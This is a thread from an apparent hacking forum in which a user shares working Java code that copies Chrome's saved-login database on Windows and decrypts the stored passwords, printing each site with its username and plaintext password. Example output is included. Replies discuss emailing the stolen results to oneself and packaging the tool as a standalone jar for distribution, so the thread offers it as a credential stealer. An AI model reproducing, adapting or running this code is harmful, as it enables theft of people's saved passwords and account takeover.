Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Java 

Password Extractor for Chrome

heres a quick program I made to extract passwords from chrome:
Code
package atleast.there.are.packages; //.and.comments

import java.io.File;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

import org.apache.commons.io.FileUtils;

import com.sun.jna.platform.win32.Crypt32Util;

public class discouragedclassname {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        // warning: code may or may not have been copied/pasted from:
        // https://bitbucket.org/xerial/sqlite-jdbc
        // https://superuser.com/questions/146742/how-does-google-chrome-store-passwords

        // another warning: this is obv for windows only

        Class.forName("org.sqlite.JDBC"); // wtf is this for
        // ^ wait, i hope this doesnt require drivers

        Connection connection = null;
        try {
            File chromeData = new File(System.getenv("LocalAppData") + "/Google/Chrome/User Data/Default/Login Data");
            File dataCopy = new File(
                    System.getenv("LocalAppData") + "/Google/Chrome/User Data/Default/Login Data.bak.db");
            FileUtils.copyFile(chromeData, dataCopy, true);

            // create a database connection
            connection = DriverManager.getConnection("jdbc:sqlite:" + dataCopy.getAbsolutePath());
            Statement statement = connection.createStatement();
            statement.setQueryTimeout(1);

            ResultSet rs = statement.executeQuery("select * from logins");
            while (rs.next()) {
                System.out.println("Info for " + rs.getString("origin_url") + " / " + rs.getString("action_url"));
                System.out.println(rs.getString("username_element") + " = " + rs.getString("username_value"));
                byte[] passwordBlob = rs.getBytes("password_value");
                byte[] dankBlob = Crypt32Util.cryptUnprotectData(passwordBlob);
                System.out.println(rs.getString("password_element") + " = " + new String(dankBlob));
            }
        } catch (SQLException e) {
            System.err.println(e.getMessage());
        } finally {
            try {
                if (connection != null)
                    connection.close();
            } catch (SQLException e) {
                System.err.println(e);
            }
        }
    }
}

it requires sqlite-jdbc, apache commons-io, and jna. right now all it does is print login info and the URL its from but you can easily make it send/save it somewhere

example output:
Code
Info for https://my.freenom.com/clientarea.php / https://my.freenom.com/dologin.php
username = [email protected]
password = p@ssworD123
Info for https://login.live.com/login.srf / https://login.live.com/ppsecure/post.srf
loginfmt = [email protected]
passwd = password123
Info for http://192.168.1.1/ /
= admin
= password

NOTE: Crypt32Util.cryptUnprotectData only works on the computer the passwords were saved on
Very nice, I was looking at USB password stealers a few days ago. But i could run this and simply spoof the result to myemail address.. Thanks for sharing :)
Make it work
Hey guys this looks a cool tool but what do i save the code as would it .jar

I am sorry I don't know much about it but i am interested
I wouldn't even bother going as far as to save it as a jar, I would just save it as a .java then:

javac YOURCLASSNAME

Code
java -classpath ".;io.jar;jna.jar;platform.jar;sqlite.jar" YOUCLASSNAMEHERE

PAUSE

You also have to have apache io, jna, jna-platform, and sqlite.

Download all of those JAR's, and put them in the same file as your class. Make sure you also add them as External Libraries to your project.

Sorry if any of this doesn't make sense, I'm very new to java.
Thanks for sharing! Looks like Chrome's entire password security is based on CryptProtectData. 🤣
Hey I have a signature.
(Mar 28, 2016 06:48 PM)Dаedalus Wrote:  I wouldn't even bother going as far as to save it as a jar, I would just save it as a .java then:

javac YOURCLASSNAME

Code
java -classpath ".;io.jar;jna.jar;platform.jar;sqlite.jar" YOUCLASSNAMEHERE

PAUSE

You also have to have apache io, jna, jna-platform, and sqlite.

Download all of those JAR's, and put them in the same file as your class. Make sure you also add them as External Libraries to your project.

Sorry if any of this doesn't make sense, I'm very new to java.

The reason you'd package it as a jar is so that you can release it as a standalone program (i.e, without dependencies). Would you rather have 1 file or 10? Just make it a jar and be done with it, no reason not to.
Drink all the booze, hack all the things.
hackirc.net
Plex. That is all.

(Mar 30, 2016 12:45 AM)Reece Morgan Wrote:  (i.e, without dependencies)

It still requires Java. Dependencies are the same. The only difference is the file size and that you can start it by a regular double click (if it contains the proper manifest).
Hey I have a signature.
(Mar 30, 2016 03:44 AM)Sogomn Wrote:  It still requires Java. Dependencies are the same. The only difference is the file size and that you can start it by a regular double click (if it contains the proper manifest).

It will still require Java, but the end-user won't have to download all of the dependencies or run from the command line. It's all around neater and more efficient for the end-user.
Drink all the booze, hack all the things.
hackirc.net
Plex. That is all.

Nice job man, I like it. I guess packing things up to make it easier for the end user is the next step. Not really needed though, it's perfect how it is, thanks!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Release] by Sir Edward TeachSep 9, 2026 11:52 AM 2 103 Sep 9, 2026 11:52 AM
Last Post: Sir Edward Teach
[Python] by shoggothJul 3, 2018 01:41 AM 13 1,024 Jul 3, 2018 01:41 AM
Last Post: .kr.
[C#] by EZLibJan 18, 2018 09:35 AM 4 365 Jan 18, 2018 09:35 AM
Last Post: gigajew